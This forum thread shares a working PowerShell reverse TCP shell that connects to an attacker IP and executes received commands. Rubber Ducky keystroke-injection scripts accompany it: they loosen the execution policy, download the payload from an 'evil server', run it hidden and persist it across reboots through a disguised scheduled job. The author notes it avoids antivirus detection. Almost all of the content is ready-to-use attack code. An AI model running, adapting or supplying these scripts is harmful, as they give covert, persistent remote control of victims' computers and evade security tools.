basic4 Posted December 16, 2016 Share Posted December 16, 2016 (edited) Reverse TCP Shell using Powershell Only Hi Guys. I was having problems getting a payload for the ducky that wasn't detected by Kaspersky, AVG etc. So I started to look into the possibility of using Powershell only to create a reverse TCP shell. I found some promising base code on a Powershell site and made some additions/adaptations for connection resilience and error handling. Now, the nice thing about this PS script is that it's compatible with a netcat listener! Should be very easy to utilize this via a ducky script on my 'WiDucky'. (Wifi enabled ducky - https://github.com/basic4/WiDucky) Just setup a netcat listener on the attacker machine with: nc -l 6673 I've added code for the script to automatically reconnect to the attacker if connection is lost, and the script also returns shell error text to the listener too. The Powershell Script itself (could still use some tidying up - but works perfectly as is :) while (1 -eq 1) { $ErrorActionPreference = 'Continue'; try { #attempt inital connection $client = New-Object System.Net.Sockets.TCPClient("192.168.0.17",6673); $stream = $client.GetStream(); [byte[]]$bytes = 0..255|%{0}; $sendbytes = ([text.encoding]::ASCII).GetBytes("Client Connected..."+"`n`n" + "PS " + (pwd).Path + "> "); $stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush(); while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $recdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); if($recdata.StartsWith("kill-link")){ cls; $client.Close(); exit;} try { #attempt to execute the received command $sendback = (iex $recdata 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; } catch { $error[0].ToString() + $error[0].InvocationInfo.PositionMessage; $sendback2 = "ERROR: " + $error[0].ToString() + "`n`n" + "PS " + (pwd).Path + "> "; cls; } $returnbytes = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($returnbytes,0,$returnbytes.Length);$stream.Flush(); } } catch { #an initial connection error - close and wait 30 secs then retry if($client.Connected) { $client.Close(); } cls; Start-Sleep -s 30; } } This is my first powershell script. But given how easy it was to get this working, I'm certainly going to use it more. Regards, Basic4. PS_TCP4.ps1 Edited December 16, 2016 by basic4 Quote Link to comment Share on other sites More sharing options...
basic4 Posted December 18, 2016 Author Share Posted December 18, 2016 (edited) I've used the powershell script above (PSD_TCP4.ps1) in a ducky script and it works perfectly on Win7 & 10! Setup Set up my 'evil server' on a Raspberry Pi3 (webserver on port 80 and netcat listening on port 6673) The ducky script then runs on a windows 7/10 target: 1. Opens powershell on the target. 2. Downloads the reverse shell payload script. 3. Executes it thus forming a link back to netcat running on the Raspberry Pi3. Ducky script: REM Opens a reverse shell to back to netcat on 192.168.0.17:6673 REM Downloads payload from a webserver on 192.168.0.17:80 (see PS_TCP4.ps1 script) DELAY 2000 GUI DELAY 800 STRING powershell.exe ENTER DELAY 2000 STRING $dirx = "C:\Users\" + [Environment]::UserName + "\Documents"; DELAY 70 ENTER DELAY 50 STRING $fullpath = $dirx + "\PS_TCP4.ps1"; DELAY 70 ENTER DELAY 50 STRING Invoke-WebRequest -Uri "http://192.168.0.17/PS_TCP4.ps1" -OutFile $fullpath; DELAY 50 ENTER REM delay here to ensure download is complete DELAY 3500 STRING cd $dirx; ENTER DELAY 100 STRING powershell.exe -windowstyle hidden {./PS_TCP4.ps1} DELAY 100 ENTER Conclusions This seems to work very well and doesn't get Kaspersky's attention at all. I'm sure that the ducky script could be improved greatly. But I'm happy the proof-of-concept is sound. Edited December 19, 2016 by basic4 Quote Link to comment Share on other sites More sharing options...
basic4 Posted December 20, 2016 Author Share Posted December 20, 2016 (edited) Better to parameterise the destination address and port of the attacker machine in the powershell script. Makes things easier to change dynamically - if required. Example : ./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673 param([String]$dest, [Int32]$port ); while (1 -eq 1) { $ErrorActionPreference = 'Continue'; try { #attempt inital connection $client = New-Object System.Net.Sockets.TCPClient($dest,$port); $stream = $client.GetStream(); [byte[]]$bytes = 0..255|%{0}; $sendbytes = ([text.encoding]::ASCII).GetBytes("Client Connected..."+"`n`n" + "PS " + (pwd).Path + "> "); $stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush(); while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $recdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); if($recdata.StartsWith("kill-link")){ cls; $client.Close(); exit;} try { #attempt to execute the received command $sendback = (iex $recdata 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; } catch { $error[0].ToString() + $error[0].InvocationInfo.PositionMessage; $sendback2 = "ERROR: " + $error[0].ToString() + "`n`n" + "PS " + (pwd).Path + "> "; cls; } $returnbytes = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($returnbytes,0,$returnbytes.Length);$stream.Flush(); } } catch { #an initial connection error - close and wait 30 secs then retry if($client.Connected) { $client.Close(); } cls; Start-Sleep -s 30; } } Obviously we'd also have to change the appropriate call in the powershell ducky script... STRING powershell.exe -windowstyle hidden {./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673} Also, on some Win10 machines, executing powershell scripts is disabled by default. But I seem to be able to get around that with a few extra lines in the ducky script which set execution policy for the current user. So Our new ducky script would be.. REM Opens a reverse shell to back to netcat on 192.168.0.29:6673 REM Downloads payload from a webserver on 192.168.0.29:80 (see PS_TCP4.ps1 script) DELAY 2000 GUI DELAY 2000 STRING powershell.exe ENTER DELAY 3000 REM first lets set the execution policy if possible STRING Set-ExecutionPolicy RemoteSigned -Scope CurrentUser DELAY 50 ENTER DELAY 750 STRING Y DELAY 250 ENTER DELAY 200 STRING $dirx = "C:\Users\" + [Environment]::UserName + "\Documents"; DELAY 70 ENTER DELAY 50 STRING $fullpath = $dirx + "\PS_TCP4.ps1"; DELAY 70 ENTER DELAY 50 STRING Invoke-WebRequest -Uri "http://192.168.0.29/PS_TCP4.ps1" -OutFile $fullpath; DELAY 50 ENTER REM delay here to ensure download is complete DELAY 3500 STRING cd $dirx; ENTER DELAY 100 STRING powershell.exe -windowstyle hidden {./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673} DELAY 100 ENTER Edited December 20, 2016 by basic4 Quote Link to comment Share on other sites More sharing options...
illwill Posted December 23, 2016 Share Posted December 23, 2016 (edited) Violation of CoC Edited October 8, 2017 by illwill Violation of CoC Quote Link to comment Share on other sites More sharing options...
basic4 Posted December 23, 2016 Author Share Posted December 23, 2016 illwill - Nice that download isn't required on your script. I think I'll make a hybrid to get a non-download one, but still retain error control and connection recovery. I've also found a way to survive target reboot. Tested it yesterday and it works on Win7. Still need to confirm it will work on Win10. I'll post it up later today. Quote Link to comment Share on other sites More sharing options...
basic4 Posted December 23, 2016 Author Share Posted December 23, 2016 Using a Scheduled Job to make the Reverse Powershell Survive Reboot I've added a couple of lines to the powershell ducky script that schedules the reverse shell script to re-start after boot-up and logon by the user. This now gives us connection resilience and some degree of permanence, allowing the shell to reconnect to the server around 50 secs after a logon by our hijacked user. REM Opens a reverse shell to back to netcat on 192.168.0.29:6673 REM Downloads payload from a webserver on 192.168.0.29:80 (see PS_TCP4.ps1 script) REM MAP UK - for WifiDucky only. DELAY 2000 GUI DELAY 2500 STRING powershell.exe DELAY 800 MENU DELAY 500 STRING a ENTER DELAY 1200 ALT + Y DELAY 250 ENTER DELAY 3000 REM first lets set the execution policy if possible STRING Set-ExecutionPolicy RemoteSigned -Scope CurrentUser DELAY 50 ENTER DELAY 750 STRING Y DELAY 250 ENTER DELAY 200 STRING $dirx = "C:\Users\" + [Environment]::UserName + "\Documents"; DELAY 70 ENTER DELAY 50 STRING $fullpath = $dirx + "\PS_TCP4.ps1"; DELAY 70 ENTER DELAY 50 STRING Invoke-WebRequest -Uri "http://192.168.0.29/PS_TCP4.ps1" -OutFile $fullpath; DELAY 50 ENTER REM delay here to ensure download is complete DELAY 3500 REM finally - attempt to make the shell survive a reboot STRING $jobtrigger = New-JobTrigger -AtLogon -RandomDelay 00:00:50 DELAY 50 ENTER DELAY 400 STRING Register-ScheduledJob -Trigger $jobtrigger -Scriptblock{cd $dirx; ./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673} -Name "NetCheckRun" DELAY 50 ENTER DELAY 1200 STRING cd $dirx; ENTER DELAY 200 STRING powershell.exe -windowstyle hidden {./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673} DELAY 100 ENTER DELAY 200 STRING exit ENTER Using the command concat style outlined in illwill's script (see post above) it should be possible to 'self-write' the reverse shell script within the ducky script and circumvent the need to download the script. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.